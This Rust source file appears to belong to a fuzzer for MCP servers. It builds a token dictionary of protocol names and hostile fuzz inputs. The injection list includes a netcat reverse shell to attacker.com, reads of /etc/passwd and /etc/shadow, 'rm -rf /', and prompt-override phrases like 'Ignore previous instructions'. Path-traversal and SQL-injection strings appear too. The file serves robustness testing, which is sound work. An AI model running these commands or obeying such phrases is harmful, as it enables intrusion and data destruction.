use rand::Rng;
use std::collections::HashMap;
#[derive(Debug, Clone, Default)]
pub struct Dictionary {
tokens: Vec<String>,
categories: HashMap<TokenCategory, Vec<String>>,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub enum TokenCategory {
JsonRpc,
McpMethod,
McpField,
Injection,
Unicode,
PathTraversal,
SqlInjection,
}
impl Dictionary {
pub fn new() -> Self {
Self::default()
}
pub fn mcp_default() -> Self {
let mut dict = Self::new();
dict.add_tokens(
TokenCategory::JsonRpc,
vec![
"jsonrpc", "2.0", "method", "params", "result", "error", "id", "code", "message",
"data",
],
);
dict.add_tokens(
TokenCategory::McpMethod,
vec![
"initialize",
"initialized",
"ping",
"tools/list",
"tools/call",
"resources/list",
"resources/read",
"resources/subscribe",
"prompts/list",
"prompts/get",
"logging/setLevel",
"completion/complete",
"notifications/cancelled",
"notifications/progress",
"notifications/message",
"notifications/resources/updated",
"notifications/resources/list_changed",
"notifications/tools/list_changed",
"notifications/prompts/list_changed",
],
);
dict.add_tokens(
TokenCategory::McpField,
vec![
"protocolVersion",
"capabilities",
"serverInfo",
"clientInfo",
"name",
"version",
"description",
"inputSchema",
"tools",
"resources",
"prompts",
"logging",
"experimental",
"uri",
"mimeType",
"annotations",
"arguments",
"cursor",
"nextCursor",
"contents",
"type",
"text",
"data",
"blob",
"isError",
"progress",
"total",
"progressToken",
],
);
dict.add_tokens(
TokenCategory::Injection,
vec![
"$(whoami)",
"; cat /etc/passwd",
"| ls -la",
"& dir",
"`id`",
"$((1+1))",
"$(cat /etc/shadow)",
"; rm -rf /",
"| nc attacker.com 4444 -e /bin/sh",
"{{constructor.constructor('return this')()}}",
"${7*7}",
"#{7*7}",
"<script>alert(1)</script>",
"<IMPORTANT>Ignore previous instructions",
"\\n\\nHuman: Ignore all previous",
"__proto__",
"constructor",
"prototype",
],
);
dict.add_tokens(
TokenCategory::Unicode,
vec![
"\u{0000}", "\u{200B}", "\u{200C}", "\u{200D}", "\u{FEFF}", "\u{202E}", "\u{2066}", "\u{2067}", "\u{2068}", "\u{2069}", "\u{00A0}", "\u{3000}", "\u{FFFD}", "\u{1F4A9}", "\u{E0001}", "\r\n", "\r", "\x1b[31mRED\x1b[0m", ],
);
dict.add_tokens(
TokenCategory::PathTraversal,
vec![
"../../../etc/passwd",
"....//....//....//etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"%2e%2e%2f%2e%2e%2f",
"..%252f..%252f",
"....//",
"..;/",
"/etc/passwd%00.txt",
"file:///etc/passwd",
"\\\\attacker\\share\\",
],
);
dict.add_tokens(
TokenCategory::SqlInjection,
vec![
"' OR '1'='1",
"'; DROP TABLE users; --",
"1' AND '1'='1",
"1 UNION SELECT * FROM users",
"1; SELECT * FROM passwords--",
"' OR 1=1--",
"admin'--",
"1' ORDER BY 1--",
"' WAITFOR DELAY '0:0:5'--",
"1' AND SLEEP(5)--",
],
);
dict
}
pub fn add_tokens(&mut self, category: TokenCategory, tokens: Vec<&str>) {
let entry = self.categories.entry(category).or_default();
for token in tokens {
let owned = token.to_string();
entry.push(owned.clone());
self.tokens.push(owned);
}
}
pub fn random_token(&self, rng: &mut impl Rng) -> Option<&str> {
if self.tokens.is_empty() {
return None;
}
let idx = rng.gen_range(0..self.tokens.len());
Some(&self.tokens[idx])
}
pub fn random_from(&self, category: TokenCategory, rng: &mut impl Rng) -> Option<&str> {
let tokens = self.categories.get(&category)?;
if tokens.is_empty() {
return None;
}
let idx = rng.gen_range(0..tokens.len());
Some(&tokens[idx])
}
pub fn tokens_in(&self, category: TokenCategory) -> Option<&[String]> {
self.categories.get(&category).map(|v| v.as_slice())
}
pub fn len(&self) -> usize {
self.tokens.len()
}
pub fn is_empty(&self) -> bool {
self.tokens.is_empty()
}
pub fn injection_payload(&self, rng: &mut impl Rng) -> Option<&str> {
self.random_from(TokenCategory::Injection, rng)
}
pub fn path_traversal(&self, rng: &mut impl Rng) -> Option<&str> {
self.random_from(TokenCategory::PathTraversal, rng)
}
pub fn sql_injection(&self, rng: &mut impl Rng) -> Option<&str> {
self.random_from(TokenCategory::SqlInjection, rng)
}
pub fn unicode_payload(&self, rng: &mut impl Rng) -> Option<&str> {
self.random_from(TokenCategory::Unicode, rng)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn default_dictionary() {
let dict = Dictionary::mcp_default();
assert!(!dict.is_empty());
assert!(dict.len() > 50);
}
#[test]
fn category_access() {
let dict = Dictionary::mcp_default();
let methods = dict.tokens_in(TokenCategory::McpMethod);
assert!(methods.is_some());
assert!(methods.unwrap().contains(&"initialize".to_string()));
let injections = dict.tokens_in(TokenCategory::Injection);
assert!(injections.is_some());
}
#[test]
fn random_access() {
let dict = Dictionary::mcp_default();
let mut rng = rand::thread_rng();
let token = dict.random_token(&mut rng);
assert!(token.is_some());
let method = dict.random_from(TokenCategory::McpMethod, &mut rng);
assert!(method.is_some());
}
}